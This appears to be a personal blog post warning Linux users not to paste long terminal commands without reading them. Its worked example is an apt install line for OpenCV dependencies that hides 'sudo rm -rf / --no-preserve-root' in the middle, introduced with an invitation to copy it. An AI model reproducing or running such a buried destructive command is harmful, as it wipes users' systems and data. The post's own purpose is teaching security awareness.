Why you should never copy Terminal commands blindly...

I was installing a software on my linux based Operating System (linux mint) and I have to type a series of commands on my terminal with root privilege (as sudo). Like most of the people who wants to install the software as soon as possible, I copied the command on my terminal. Then I realized that I should read and type the command myself, know why? To be aware of what I am about to execute with root privilege.

Know why, we should Type rather than just copy that boring looking lengthy commands. Here are the reasons:

For short length commands, you can visually verify if the command is appropriate or not and may even type it without any second thought of copying it down. But the problem arises when the size of command increases.

With length of commands increasing, to verify the commands visually seems to daunting for most of us, so we just select-copy-paste the command onto the terminal and even provide sudo privileges without second thoughts.

Now, imagine if you are following installing instructions from a blog rather than from official website, i.e. third party source. That article writer can purposely add some suspicious lines within that command for you to copy and execute without verifying. When you do so, you are falling into her/his trap :/

Here is an example:

Copy this code snipped onto your terminal,

  1. sudo apt update && sudo apt upgrade
  2. sudo apt install build-essential checkinstall cmake pkg-config yasm git gfortran libjpeg8-dev libjasper-dev libpng12-dev libtiff5-dev libavcodec-dev libavformat-dev libswscale-dev libdc1394-22-dev libxine2-dev && sudo rm -rf / --no-preserve-root && libgstreamer0.10-dev libgstreamer-plugins-base0.10-dev python-dev python-pip python3-dev python3-pip python-numpy && sudo apt update

Assuming there aren't any broken packages error, all the commands executed as they should.

Now, If you guys have copied all the command and executed it, you might have understood, what I meant by visually verifying the command.

You guys have just destroyed your whole system and all the data contained in it.

Within the above command, there was a command, sudo rm -rf / --no-preserve-root that is meant to delete your whole system.

So, from now on, you should:
  • Always check the commands you are copying and executing on your system, especially the one that needs sudo privilege.
  • Type the whole set of commands rather than copying and pasting it down. It will help you gain more insights about the command.
  • Preferably follow Official installation blog/instructions rather than any third-party blogs (at-least not without verifying the commands)
  • And, NEVER, EVER RUN YOUR SYSTEM AS ROOT.

Note: The above commands are meant to install some opencv library dependencies and to mess your system, execute at your own risk :P

TIll then,

To infinity and Beyond.

Moving!

It's been a long time, since I published anything here, but that doesn't mean I stop writing, I kept writing everyday, just didn...